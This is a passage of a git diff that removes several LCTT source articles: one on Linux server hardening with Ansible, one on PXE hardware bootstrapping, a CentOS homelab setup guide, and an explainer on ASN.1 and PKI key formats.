servers invisible and perform a variety of attacks. You can find out more about DevSecOps, containers and Linux security on his website: [https://www.devsecops.cc][3] - --------------------------------------------------------------------------------- - -via: https://www.linux.com/blog/linux-server-hardening-using-idempotency-ansible-part-2 - -作者:[Chris Binnie][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://www.linux.com/users/chrisbinnie -[b]: https://github.com/lujun9972 -[1]: https://www.linux.com/sites/lcom/files/styles/rendered_file/public/artificial-intelligence-3382507_1280.jpg?itok=PHazitpd -[2]: /LICENSES/CATEGORY/CREATIVE-COMMONS-ZERO -[3]: https://www.devsecops.cc/ diff --git a/sources/tech/20190416 Linux Server Hardening Using Idempotency with Ansible- Part 3.md b/sources/tech/20190416 Linux Server Hardening Using Idempotency with Ansible- Part 3.md deleted file mode 100644 index 50f4981c08..0000000000 --- a/sources/tech/20190416 Linux Server Hardening Using Idempotency with Ansible- Part 3.md +++ /dev/null @@ -1,118 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Linux Server Hardening Using Idempotency with Ansible: Part 3) -[#]: via: (https://www.linux.com/blog/linux-server-hardening-using-idempotency-ansible-part-3) -[#]: author: (Chris Binnie https://www.linux.com/users/chrisbinnie) - -Linux Server Hardening Using Idempotency with Ansible: Part 3 -====== - -![][1] - -[Creative Commons Zero][2] - -In the previous articles, we introduced idempotency as a way to approach your server’s security posture and looked at some specific Ansible examples, including the kernel, system accounts, and IPtables. In this final article of the series, we’ll look at a few more server-hardening examples and talk a little more about how the idempotency playbook might be used. - -#### **Time** - -Due to its reduced functionality, and therefore attack surface, the preference amongst a number of OSs has been to introduce “chronyd” over “ntpd”. If you’re new to “chrony” then fret not. It’s still using the NTP (Network Time Protocol) that we all know and love but in a more secure fashion. - -The first thing I do with Ansible within the “chrony.conf” file is alter the “bind address” and if my memory serves there’s also a “command port” option. These config options allow Chrony to only listen on the localhost. In other words you are still syncing as usual with other upstream time servers (just as NTP does) but no remote servers can query your time services; only your local machine has access. - -There’s more information on the “bindcmdaddress 127.0.0.1” and “cmdport 0” on this Chrony page () under “2.5. How can I make chronyd more secure?” which you should read for clarity. This premise behind the comment on that page is a good idea: “you can disable the internet command sockets completely by adding cmdport 0 to the configuration file”. - -Additionally I would also focus on securing the file permissions for Chrony and insist that the service starts as expected just like the syslog config above. Otherwise make sure that your time sources are sane, have a degree of redundancy with multiple sources set up and then copy the whole config file over using Ansible. - -#### **Logging** - -You can clearly affect the level of detail included in the logs from a number pieces of software on a server. Thinking back to what we’ve looked at in relation to syslog already you can also tweak that application’s config using Ansible to your needs and then use the example Ansible above in addition. - -#### **PAM** - -Apparently PAM (Pluggable Authentication Modules) has been a part of Linux since 1997. It is undeniably useful (a common use is that you can force SSH to use it for password logins, as per the SSH YAML file above). It is extensible, sophisticated and can perform useful functions such as preventing brute force attacks on password logins using a clever rate limiting system. The syntax varies a little between OSes but if you have the time then getting PAM working well (even if you’re only using SSH keys and not passwords for your logins) is a worthwhile effort. Attackers like their own users on a system with lots of usernames, something innocuous such as “webadmin” or similar might be easy to miss on a server, and PAM can help you out in this respect. - -#### **Auditd** - -We’ve looked at logging a little already but what about capturing every “system call” that a kernel makes. The Linux kernel is a super-busy component of any system and logging almost every single thing that a system does is an excellent way of providing post-event forensics. This article will hopefully shed some light on where to begin: . Note the comments in that article about performance, there’s little point in paying extra for compute and disk IO resource because you’ve misconfigured your logging so spend some time getting it correct would be my advice. - -For concerns over disk space I will usually change a few lines in the file “/etc/audit/auditd.conf” in order to prevent there firstly being too many log files created and secondly logs that grow very large without being rotated. This is also on the proviso that logs are being ingested upstream via another mechanism too. Clearly the files permissions and the service starting are also the basics you need to cover here too. Generally file permissions for auditd are tight as it’s a “root” oriented service so there’s less changes needed here generally. - -#### **Filesystems** - -With a little reading you can discover which filesystems that are made available to your OS by default. You should disable these (at the “modprode.d” file level) with Ansible to prevent weird and wonderful things being attached unwittingly to your servers. You are reducing the attack surface with this approach. The Ansible might look something like this below for example. - -``` -name: Make sure filesystems which are not needed are forced as off - -lineinfile: dest="/etcmodprobe.d/harden.conf" line='install squashfs /bin/true' state=present -``` - -#### **SELinux** - -The old, but sometimes avoided due to complexity, security favourite, SELinux, should be set to “enforcing” mode. Or, at the every least, set to log sensibly using “permissive” mode. Permissive mode will at least fill your auditd logs up with any correct rule matches nicely. In terms of what Ansible looks like it’s simple and is along these lines: - -``` -name: Configure SElinux to be running in permissive mode - -replace: path=”/etc/selinux/config” regexp='SELINUX=disabled' replace='SELINUX=permissive' -``` - -#### **Packages** - -Needless to say the compliance hardening playbook is also a good place to upgrade all the packages (with some selective exclusions) on the system. Pay attention to the section relating to reboots and idempotency in a moment however. With other mechanisms in place you might not want to update packages here but instead as per the Automation Documents article mentioned in a moment. - -### **Idempotency** - -Now we’ve run through some of the aspects you would want to look at when hardening on a server, let’s think a little more about how the playbook might be used. - -When it comes to cloud platforms most of my professional work has been on AWS and therefore, more often than not, a fresh AMI is launched and then a playbook is run over the top of it. There’s a mountain of detail in one way of doing that in this article () which you may be pleased to discover accommodates a mechanism to spawn a script or playbook. - -It is important to note, when it comes to idempotency, that it may take a little more effort initially to get your head around the logic involved in being able to re-run Ansible repeatedly without disturbing the required status quo of your server estate. - -One thing to be absolutely certain of however (barring rare edge cases) is that after you apply your hardening for the very first time, on a new AMI or server build, you will require a reboot. This is an important element due to a number of system facets not being altered correctly without a reboot. These include applying kernel changes so alterations become live, writing auditd rules as immutable config and also starting or stopping services to improve the security posture. - -Note though that you’re probably not going to want to execute all plays in a playbook every twenty or thirty minutes, such as updating all packages and stopping and restarting key customer-facing services. As a result you should factor the logic into your Ansible so that some tasks only run once initially and then maybe write a “completed” placeholder file to the filesystem afterwards for referencing. There’s a million different ways of achieving a status checker. - -The nice thing about Ansible is that the logic for rerunning playbooks is implicit and unlike shell scripts which for this type of task can be arduous to code the logic into. Sometimes, such as updating the GRUB bootloader for example, trying to guess the many permutations of a system change can be painful. - -### **Bedtime Reading** - -I still think that you can’t beat trial and error when it comes to computing. Experience is valued for good reason. - -Be warned that you’ll find contradictory advice sometimes from the vast array of online resources in this area. Advice differs probably because of the different use cases. The only way to harden the varying flavours of OS to my mind is via a bespoke approach. This is thanks to the environments that servers are used within and the requirements of the security framework or standard that an organisation needs to meet. - -For OS hardening details you can check with resources such as the NSA ([https://www.nsa.gov][3]), the Cloud Security Alliance (), proprietary training organisations such as GIAC ([https://www.giac.org][4]) who offer resources (), the diverse CIS Benchmarks ([https://www.cisecurity.org][5]) for industry consensus-based benchmarking, the SANS Institute (), NIST’s Computer Security Research ([https://csrc.nist.gov][6]) and of course print media too. - -### **Conclusion** - -Hopefully, you can see how powerful an idempotent server infrastructure is and are tempted to try it for yourself. - -The ever-present threat of APT (Advanced Persistent Threat) attacks on infrastructure, where a successful attacker will sit silently monitoring events and then when it’s opportune infiltrate deeper into an estate, makes this type of configuration highly valuable. - -The amount of detail that goes into the tests and configuration changes is key to the value that such an approach will bring to an organisation. Like the tests in a CI/CD pipeline they’re only as ever as good as their coverage. - -Chris Binnie’s latest book, Linux Server Security: Hack and Defend, shows you how to make your servers invisible and perform a variety of attacks. You can find out more about DevSecOps, containers and Linux security on his website: [https://www.devsecops.cc][7] - --------------------------------------------------------------------------------- - -via: https://www.linux.com/blog/linux-server-hardening-using-idempotency-ansible-part-3 - -作者:[Chris Binnie][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://www.linux.com/users/chrisbinnie -[b]: https://github.com/lujun9972 -[1]: https://www.linux.com/sites/lcom/files/styles/rendered_file/public/tech-1495181_1280.jpg?itok=5WcwApNN -[2]: /LICENSES/CATEGORY/CREATIVE-COMMONS-ZERO -[3]: https://www.nsa.gov/ -[4]: https://www.giac.org/ -[5]: https://www.cisecurity.org/ -[6]: https://csrc.nist.gov/ -[7]: https://www.devsecops.cc/ diff --git a/sources/tech/20190523 Hardware bootstrapping with Ansible.md b/sources/tech/20190523 Hardware bootstrapping with Ansible.md deleted file mode 100644 index 94842453cc..0000000000 --- a/sources/tech/20190523 Hardware bootstrapping with Ansible.md +++ /dev/null @@ -1,223 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Hardware bootstrapping with Ansible) -[#]: via: (https://opensource.com/article/19/5/hardware-bootstrapping-ansible) -[#]: author: (Mark Phillips https://opensource.com/users/markp/users/feeble/users/markp) - -Hardware bootstrapping with Ansible -====== - -![computer servers processing data][1] - -At a recent [Ansible London Meetup][2], I got chatting with somebody about automated hardware builds. _"It's all cloud now!"_ I hear you say. Ah, but for many large organisations it's not—they still have massive data centres full of hardware. Almost regularly somebody pops up on our internal mail list and asks, *"can Ansible do hardware provisioning?" *Well yes, you can provision hardware with Ansible… - -### Requirements - -Bootstrapping hardware is mostly about network services. Before we do any operating system (OS) installing then, we must set up some services. We will need: - - * DHCP - * PXE - * TFTP - * Operating system media - * Web server - - - -### Setup - -Besides the DHCP configuration, everything else in this article is handled by the Ansible plays included in [this repository][3]. - -#### DHCP server - -I'm writing here on the assumption you can control your DHCP configuration. If you don't have access to your DHCP server, you'll need to ask the owner to set two options. DHCP option 67 needs to be set to **pxelinux.0** and **next-server** (which is option 66—but you may not need to know that; often a DHCP server will have a field/option for 'next server') needs to be set to the IP address of your TFTP server. - -If you can own the DHCP server, I'd suggest using dnsmasq. It's small and simple. I will not cover configuring it here, but look at [the man page][4] and the **\--enable-tftp** option. - -#### TFTP - -The **next-server** setting for our DHCP server, above, will point to a machine serving [TFTP][5]. Here I've used a [CentOS Linux][6] virtual machine, as it only takes one package (syslinux-tftpboot) and a service to start to have TFTP up and running. We'll stick with the default path, **/var/lib/tftpboot**. - -#### PXE - -If you're not already familiar with PXE, you might like to take a quick look at [the Wikipedia page][7]. For this article I'll keep it short—we will serve some files over TFTP, which DHCP guides our hardware to. - -You'll want **images/pxeboot/{initrd.img,vmlinuz}** from the OS distribution media for pxeboot. These need to be copied to **/var/lib/tftpboot/pxeboot**. The referenced Ansible plays **do not do this step, **so you need to copy them over yourself. - -We'll also need to serve the OS installation files. There are two approaches to this: 1) install, via HTTP, from the internet or 2) install, again via HTTP, from a local server. For my testing, since I'm on a private LAN (and I guess you are too), the fastest installation method is the second. The easiest way to prepare this is to mount the DVD image and rsync the `images`, **`Packages` **and `repodata` directories to your webserver location. The referenced Ansible plays will install **httpd** but won't copy over these files, so don't forget to do that after running [the play][8]. For this article, we'll once again stick with defaults for simplicity—so files need to be copied to Apache's standard docroot, **/var/www/html**. - -#### Directories - -We should end up with directory structures like this: - -##### PXE/TFTP - - -``` -[root@c7 ~]# tree /var/lib/tftpboot/pxe{b*,l*cfg} -/var/lib/tftpboot/pxeboot -└── 6 -├── initrd.img -└── vmlinuz -``` - -##### httpd - - -``` -[root@c7 ~]# tree -d /var/www/html/ -/var/www/html/ -├── 6 -> centos/6 -├── 7 -> centos/7 -├── centos -│ ├── 6 -│ │ └── os -│ │ └── x86_64 -│ │ ├── images -│ │ │ └── pxeboot -│ │ ├── Packages -│ │ └── repodata -│ └── 7 -│ └── os -│ └── x86_64 -│ ├── images -│ │ └── pxeboot -│ ├── Packages -│ └── repodata -└── ks -``` - -You'll notice my web setup appears a little less simple than the words above! I've pasted my actual structure to give you some ideas. The hardware I'm using is really old, and even getting CentOS 7 to work was horrible (if you're interested, it's due to the lack of [cciss][9] drivers for the HP Smart Array controller—yes, [there is an answer][10], but it takes a lot of faffing to make work), so all examples are of CentOS 6. I also wanted a flexible setup that could install many versions. Here I've done that using symlinks—this arrangement will work just fine for RHEL too, for example. The basic structure is present though—note the images, Packages and repodata directories. - -These paths relate directly to [the PXE menu][11] file we'll serve up and [the kickstart file][12] too. - -#### If you don't have DHCP - -If you can't manage your own DHCP server or the owners of your infrastructure can't help, there is another option. In the past, I've used [iPXE][13] to create a boot image that I've loaded as virtual media. A lot of out-of-band/lights-out-management (LOM) interfaces on modern hardware support this functionality. You can make a custom embedded PXE menu in seconds with iPXE. I won't cover that here, but if it turns out to be a problem for you, then drop me a line [on Twitter][14] and I'll look at doing a follow-up blog post if enough people request it. - -### Installing hardware - -We've got our structure in place now, and we can [kickstart][15] a server. Before we do, we have to add some configuration to the TFTP setup to enable a given piece of hardware to pick up the PXE boot menu. - -It's here we come across a small chicken/egg problem. We need a host's MAC address to create a link to the specific piece of hardware we want to kickstart. If the hardware is already running and we can access it with Ansible, that's great—we have a way of finding out the boot interface MAC address via the setup module (see [the reinstall play][16]). If it's a new piece of tin, however, we need to get the MAC address and tell our setup what to do with it. This probably means some manual intervention—booting the server and looking at a screen or maybe getting the MAC from a manifest or such like. Whichever way you get hold of it, we can tell our play about it via the inventory. - -Let's put a custom variable into our simple INI format [inventory file][17], but run a play to set up TFTP… - - -``` -(pip)iMac:ansible-hw-bootstrap$ ansible-inventory --host hp.box -{ -"ilo_ip": "192.168.1.68", -"ilo_password": "administrator" -} -(pip)iMac:ansible-hw-bootstrap$ ansible-playbook plays/install.yml - -PLAY [kickstart] ******************************************************************************************************* - -TASK [Host inventory entry has a MAC address] ************************************************************************** -failed: [ks.box] (item=hp.box) => { -"assertion": "hostvars[item]['mac'] is defined", -"changed": false, -"evaluated_to": false, -"item": "hp.box", -"msg": "Assertion failed" -} - -PLAY RECAP ************************************************************************************************************* -ks.box : ok=0 changed=0 unreachable=0 failed=1 -``` - -Uh oh, play failed. It [contains a check][18] that the host we're about to install actually has a MAC address added. Let's fix that and run the play again… - - -``` -(pip)iMac:ansible-hw-bootstrap$ ansible-inventory --host hp.box -{ -"ilo_ip": "192.168.1.68", -"ilo_password": "administrator", -"mac": "00:AA:BB:CC:DD:EE" -} -(pip)iMac:ansible-hw-bootstrap$ ansible-playbook plays/install.yml - -PLAY [kickstart] ******************************************************************************************************* - -TASK [Host inventory entry has a MAC address] ************************************************************************** -ok: [ks.box] => (item=hp.box) => { -"changed": false, -"item": "hp.box", -"msg": "All assertions passed" -} - -TASK [Set PXE menu to install] ***************************************************************************************** -ok: [ks.box] => (item=hp.box) - -TASK [Reboot target host for PXE boot] ********************************************************************************* -skipping: [ks.box] => (item=hp.box) - -PLAY RECAP ************************************************************************************************************* -ks.box : ok=2 changed=0 unreachable=0 failed=0 -``` - -That worked! What did it do? Looking at the pxelinux.cfg directory under our TFTP root, we can see a symlink… - - -``` -[root@c7 pxelinux.cfg]# pwd -/var/lib/tftpboot/pxelinux.cfg -[root@c7 pxelinux.cfg]# l -total 12 -drwxr-xr-x. 2 root root 65 May 13 14:23 ./ -drwxr-xr-x. 4 root root 4096 May 2 22:13 ../ --r--r--r--. 1 root root 515 May 2 12:22 00README -lrwxrwxrwx. 1 root root 7 May 13 14:12 01-00-aa-bb-cc-dd-ee -> install --rw-r--r--. 1 root root 682 May 2 22:07 install -``` - -The **install** file is symlinked to a file named after our MAC address. This is the key, useful piece. It will ensure our hardware with MAC address **00-aa-bb-cc-dd-ee** is served a PXE menu when it boots from its network card. - -So let's boot our machine. - -Usefully, Ansible has some [remote management modules][19]. We're working with an HP server here, so we can use the [hpilo_boot][20] module to save us from having to interact directly with the LOM web interface. - -Let's run the reinstall play on a booted server… - -The neat thing about the **hpilo_boot** module, you'll notice, is it sets the boot medium to be the network. When the installation completes, the server restarts and boots from its hard drive. The eagle-eyed amongst you will have spotted the critical problem with this—what happens if the server boots to its network card again? It will pick up the PXE menu and promptly reinstall itself. I would suggest removing the symlink as a "belt and braces" step then. I will leave that as an exercise for you, dear reader. Hint: I would make the new server do a 'phone home' on boot, to somewhere, which runs a clean-up job. Since you wouldn't need the console open, as I had here to demonstrate what's going on in the background, a 'phone home' job would also give a nice indication that the process completed. Ansible, [naturally][21]. Good luck! - -If you've any thoughts or comments on this process, please let me know. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/19/5/hardware-bootstrapping-ansible - -作者:[Mark Phillips][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/markp/users/feeble/users/markp -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/server_data_system_admin.png?itok=q6HCfNQ8 (computer servers processing data) -[2]: https://www.meetup.com/Ansible-London/ -[3]: https://github.com/phips/ansible-hw-bootstrap -[4]: http://www.thekelleys.org.uk/dnsmasq/docs/dnsmasq-man.html -[5]: https://en.m.wikipedia.org/wiki/Trivial_File_Transfer_Protocol -[6]: https://www.centos.org -[7]: https://en.m.wikipedia.org/wiki/Preboot_Execution_Environment -[8]: https://github.com/phips/ansible-hw-bootstrap/blob/master/plays/kickstart.yml -[9]: https://linux.die.net/man/4/cciss -[10]: https://serverfault.com/questions/611182/centos-7-x64-and-hp-proliant-dl360-g5-scsi-controller-compatibility -[11]: https://github.com/phips/ansible-hw-bootstrap/blob/master/roles/kickstart/templates/pxe_install.j2#L10 -[12]: https://github.com/phips/ansible-hw-bootstrap/blob/master/roles/kickstart/templates/local6.ks.j2#L3 -[13]: https://ipxe.org -[14]: https://twitter.com/thismarkp -[15]: https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/installation_guide/ch-kickstart2 -[16]: https://github.com/phips/ansible-hw-bootstrap/blob/master/plays/reinstall.yml -[17]: https://docs.ansible.com/ansible/latest/user_guide/intro_inventory.html -[18]: https://github.com/phips/ansible-hw-bootstrap/blob/master/plays/install.yml#L9 -[19]: https://docs.ansible.com/ansible/latest/modules/list_of_remote_management_modules.html -[20]: https://docs.ansible.com/ansible/latest/modules/hpilo_boot_module.html#hpilo-boot-module -[21]: https://github.com/phips/ansible-demos/tree/master/roles/phone_home diff --git a/sources/tech/20190604 Create a CentOS homelab in an hour.md b/sources/tech/20190604 Create a CentOS homelab in an hour.md deleted file mode 100644 index 039af752db..0000000000 --- a/sources/tech/20190604 Create a CentOS homelab in an hour.md +++ /dev/null @@ -1,224 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Create a CentOS homelab in an hour) -[#]: via: (https://opensource.com/article/19/6/create-centos-homelab-hour) -[#]: author: (Bob Murphy https://opensource.com/users/murph) - -Create a CentOS homelab in an hour -====== -Set up a self-sustained set of basic Linux servers with nothing more -than a system with virtualization software, a CentOS ISO, and about an -hour of your time. -![metrics and data shown on a computer screen][1] - -When working on new Linux skills (or, as I was, studying for a Linux certification), it is helpful to have a few virtual machines (VMs) available on your laptop so you can do some learning on the go. - -But what happens if you are working somewhere without a good internet connection and you want to work on a web server? What about using other software that you don't already have installed? If you were depending on downloading it from the distribution's repositories, you may be out of luck. With a bit of preparation, you can set up a [homelab][2] that will allow you to install anything you need wherever you are, with or without a network connection. - -The requirements are: - - * A downloaded ISO file of the Linux distribution you intend to use (for example, CentOS, Red Hat, etc.) - * A host computer with virtualization. I use [Fedora][3] with [KVM][4] and [virt-manager][5], but any Linux will work similarly. You could even use Windows or Mac with virtualization, with some difference in implementation - * About an hour of time - - - -### 1\. Create a VM for your repo host - -Use virt-manager to create a VM with modest specs; 1GB RAM, one CPU, and 16GB of disk space are plenty. - -Install [CentOS 7][6] on the VM. - -![Installing a CentOS homelab][7] - -Select your language and continue. - -Click _Installation Destination_ , select your local disk, mark the _Automatically Configure Partitioning_ checkbox, and click *Done *in the upper-left corner. - -Under _Software Selection_ , select _Infrastructure Server_ , mark the _FTP Server_ checkbox, and click _Done_. - -![Installing a CentOS homelab][8] - -Select _Network and Host Name_ , enable Ethernet in the upper-right, then click _Done_ in the upper-left corner. - -Click _Begin Installation_ to start installing the OS. - -You must create a root password, then you can create a user with a password as it installs. - -### 2\. Start the FTP service - -The next step is to start and set the FTP service to run and allow it through the firewall. - -Log in with your root password, then start the FTP server: - - -``` -`systemctl start vsftpd` -``` - -Enable it to work on every start: - - -``` -`systemctl enable vsftpd` -``` - -Set the port as allowed through the firewall: - - -``` -`firewall-cmd --add-service=ftp --perm` -``` - -Enable this change immediately: - - -``` -`firewall-cmd --reload` -``` - -Get your IP address: - - -``` -`ip a` -``` - -(it's probably **eth0** ). You'll need it in a minute. - -### 3\. Copy the files for your local repository - -Mount the CD you installed from to your VM through your virtualization software. - -Create a directory for the CD to be mounted to temporarily: - - -``` -`mkdir /root/temp` -``` - -Mount the install CD: - - -``` -`mount /dev/cdrom /root/temp` -``` - -Copy all the files to the FTP server directory: - - -``` -`rsync -avhP /root/temp/ /var/ftp/pub/` -``` - -### 4\. Point the server to the local repository - -Red Hat-based systems use files that end in **.repo** to identify where to get updates and new software. Those files can be found at - - -``` -`cd /etc/yum.repos.d` -``` - -You need to get rid of the repo files that point your server to look to the CentOS repositories on the internet. I prefer to copy them to root's home directory to get them out of the way: - - -``` -`mv * ~` -``` - -Then create a new repo file to point to your server. Use your favorite text editor to create a file named **network.repo** with the following lines (substituting the IP address you got in step 2 for _< your IP>_), then save it: - - -``` -[network] -name=network -baseurl=/pub -gpgcheck=0 -``` - -When that's done, we can test it out with the following: - - -``` -`yum clean all; yum install ftp` -``` - -If your FTP client installs as expected from the "network" repository, your local repo is set up! - -![Installing a CentOS homelab][9] - -### 5\. Install a new VM with the repository you set up - -Go back to the virtual machine manager, and create another VM—but this time, select _Network Install_ with a URL of: - - -``` -`ftp://192.168.122./pub` -``` - -If you're using a different host OS or virtualization manager, install your VM similarly as before, and skip to the next section. - -### 6\. Set the new VM to use your existing network repository - -You can copy the repo file from your existing server to use here. - -As in the first server example, enter: - - -``` -cd /etc/yum.repos.d -mv * ~ -``` - -Then: - - -``` -`scp root@192.168.122.:/etc/yum.repos.d/network.repo /etc/yum.repos.d` -``` - -Now you should be ready to work with your new VM and get all your software from your local repository. - -Test this again: - - -``` -`yum clean all; yum install screen` -``` - -This will install your software from your local repo server. - -This setup, which gives you independence from the network with the ability to install software, can create a much more dependable environment for expanding your skills on the road. - -* * * - -_Bob Murphy will present this topic as well as an introduction to[GNU Screen][10] at [Southeast Linux Fest][11], June 15-16 in Charlotte, N.C._ - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/19/6/create-centos-homelab-hour - -作者:[Bob Murphy][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/murph -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/metrics_data_dashboard_system_computer_analytics.png?itok=oxAeIEI- (metrics and data shown on a computer screen) -[2]: https://opensource.com/article/19/3/home-lab -[3]: https://getfedora.org/ -[4]: https://en.wikipedia.org/wiki/Kernel-based_Virtual_Machine -[5]: https://virt-manager.org/ -[6]: https://www.centos.org/download/ -[7]: https://opensource.com/sites/default/files/uploads/homelab-3b_0.png (Installing a CentOS homelab) -[8]: https://opensource.com/sites/default/files/uploads/homelab-5b.png (Installing a CentOS homelab) -[9]: https://opensource.com/sites/default/files/uploads/homelab-14b.png (Installing a CentOS homelab) -[10]: https://opensource.com/article/17/3/introduction-gnu-screen -[11]: https://southeastlinuxfest.org/ diff --git a/sources/tech/20190612 The bits and bytes of PKI.md b/sources/tech/20190612 The bits and bytes of PKI.md deleted file mode 100644 index 3cf9bd9c41..0000000000 --- a/sources/tech/20190612 The bits and bytes of PKI.md +++ /dev/null @@ -1,284 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (The bits and bytes of PKI) -[#]: via: (https://opensource.com/article/19/6/bits-and-bytes-pki) -[#]: author: (Alex Wood https://opensource.com/users/awood) - -The bits and bytes of PKI -====== -Take a look under the public key infrastructure's hood to get a better -understanding of its format. -![Computer keyboard typing][1] - -In two previous articles— _[An introduction to cryptography and public key infrastructure][2]_ and _[How do private keys work in PKI and cryptography?][3]_ —I discussed cryptography and public key infrastructure (PKI) in a general way. I talked about how digital bundles called _certificates_ store public keys and identifying information. These bundles contain a lot of complexity, and it's useful to have a basic understanding of the format for when you need to look under the hood. - -### Abstract art - -Keys, certificate signing requests, certificates, and other PKI artifacts define themselves in a data description language called [Abstract Syntax Notation One][4] (ASN.1). ASN.1 defines a series of simple data types (integers, strings, dates, etc.) along with some structured types (sequences, sets). By using those types as building blocks, we can create surprisingly complex data formats. - -ASN.1 contains plenty of pitfalls for the unwary, however. For example, it has two different ways of representing dates: GeneralizedTime ([ISO 8601][5] format) and UTCTime (which uses a two-digit year). Strings introduce even more confusion. We have IA5String for ASCII strings and UTF8String for Unicode strings. ASN.1 also defines several other string types, from the exotic [T61String][6] and [TeletexString][7] to the more innocuous sounding—but probably not what you wanted—PrintableString (only a small subset of ASCII) and UniversalString (encoded in [UTF-32][8]). If you're writing or reading ASN.1 data, I recommend referencing the [specification][9]. - -ASN.1 has another data type worth special mention: the object identifier (OID). OIDs are a series of integers. Commonly they are shown with periods delimiting them. Each integer represents a node in what is basically a "tree of things." For example, [1.3.6.1.4.1.2312][10] is the OID for my employer, Red Hat, where "1" is the node for the International Organization for Standardization (ISO), "3" is for ISO-identified organizations, "6" is for the US Department of Defense (which, for historical reasons, is the parent to the next node), "1" is for the internet, "4" is for private organizations, "1" is for enterprises, and finally "2312," which is Red Hat's own. - -More commonly, OIDs are regularly used to identify specific algorithms in PKI objects. If you have a digital signature, it's not much use if you don't know what type of signature it is. The signature algorithm "sha256WithRSAEncryption" has the OID "1.2.840.113549.1.1.11," for example. - -### ASN.1 at work - -Suppose we own a factory that produces flying brooms, and we need to store some data about every broom. Our brooms have a model name, a serial number, and a series of inspections that have been made to ensure flight-worthiness. We could store this information using ASN.1 like so: - - -``` -BroomInfo ::= SEQUENCE { -model UTF8String, -serialNumber INTEGER, -inspections SEQUENCE OF InspectionInfo -} - -InspectionInfo ::= SEQUENCE { -inspectorName UTF8String, -inspectionDate GeneralizedTime -} -``` - -The example above defines the model name as a UTF8-encoded string, the serial number as an integer, and our inspections as a series of InspectionInfo items. Then we see that each InspectionInfo item comprises two pieces of data: the inspector's name and the time of the inspection. - -An actual instance of BroomInfo data would look something like this in ASN.1's value assignment syntax: - - -``` -broom BroomInfo ::= { -model "Nimbus 2000", -serialNumber 1066, -inspections { -{ -inspectorName "Harry", -inspectionDate "201901011200Z" -} -{ -inspectorName "Hagrid", -inspectionDate "201902011200Z" -} -} -} -``` - -Don't worry too much about the particulars of the syntax; for the average developer, having a basic grasp of how the pieces fit together is sufficient. - -Now let's look at a real example from [RFC 8017][11] that I have abbreviated somewhat for clarity: - - -``` -RSAPrivateKey ::= SEQUENCE { -version Version, -modulus INTEGER, -- n -publicExponent INTEGER, -- e -privateExponent INTEGER, -- d -prime1 INTEGER, -- p -prime2 INTEGER, -- q -exponent1 INTEGER, -- d mod (p-1) -exponent2 INTEGER, -- d mod (q-1) -coefficient INTEGER, -- (inverse of q) mod p -otherPrimeInfos OtherPrimeInfos OPTIONAL -} - -Version ::= INTEGER { two-prime(0), multi(1) } -(CONSTRAINED BY -{-- version must be multi if otherPrimeInfos present --}) - -OtherPrimeInfos ::= SEQUENCE SIZE(1..MAX) OF OtherPrimeInfo - -OtherPrimeInfo ::= SEQUENCE { -prime INTEGER, -- ri -exponent INTEGER, -- di -coefficient INTEGER -- ti -} -``` - -The ASN.1 above defines the PKCS #1 format used to store RSA keys. Looking at this, we can see the RSAPrivateKey sequence starts with a version type (either 0 or 1) followed by a bunch of integers and then an optional type called OtherPrimeInfos. The OtherPrimeInfos sequence contains one or more pieces of OtherPrimeInfo. And each OtherPrimeInfo is just a sequence of integers. - -Let's look at an actual instance by asking OpenSSL to generate an RSA key and then pipe it into [asn1parse][12], which will print it out in a more human-friendly format. (By the way, the **genrsa** command I'm using here has been superseded by **genpkey** ; we'll see why a little later.) - - -``` -% openssl genrsa 4096 2> /dev/null | openssl asn1parse -0:d=0 hl=4 l=2344 cons: SEQUENCE -4:d=1 hl=2 l= 1 prim: INTEGER :00 -7:d=1 hl=4 l= 513 prim: INTEGER :B80B0C2443... -524:d=1 hl=2 l= 3 prim: INTEGER :010001 -529:d=1 hl=4 l= 512 prim: INTEGER :59C609C626... -1045:d=1 hl=4 l= 257 prim: INTEGER :E8FC43002D... -1306:d=1 hl=4 l= 257 prim: INTEGER :CA39222DD2... -1567:d=1 hl=4 l= 256 prim: INTEGER :25F6CD181F... -1827:d=1 hl=4 l= 256 prim: INTEGER :38CCE374CB... -2087:d=1 hl=4 l= 257 prim: INTEGER :C80430E810... -``` - -Recall that RSA uses a modulus, _n_ ; a public exponent, _e_ ; and a private exponent, _d_. Now let's look at the sequence. First, we see the version set to 0 for a two-prime RSA key (what **genrsa** generates), an integer for the modulus, _n_ , and then 0x010001 for the public exponent, _e_. If we convert to decimal, we'll see our public exponent is 65537, a number [commonly][13] used as an RSA public exponent. Following the public exponent, we see the integer for the private exponent, _e_ , and then some other integers that are used to speed up decryption and signing. Explaining how this optimization works is beyond the scope of this article, but if you like math, there's a [good video on the subject][14]. - -What about that other stuff on 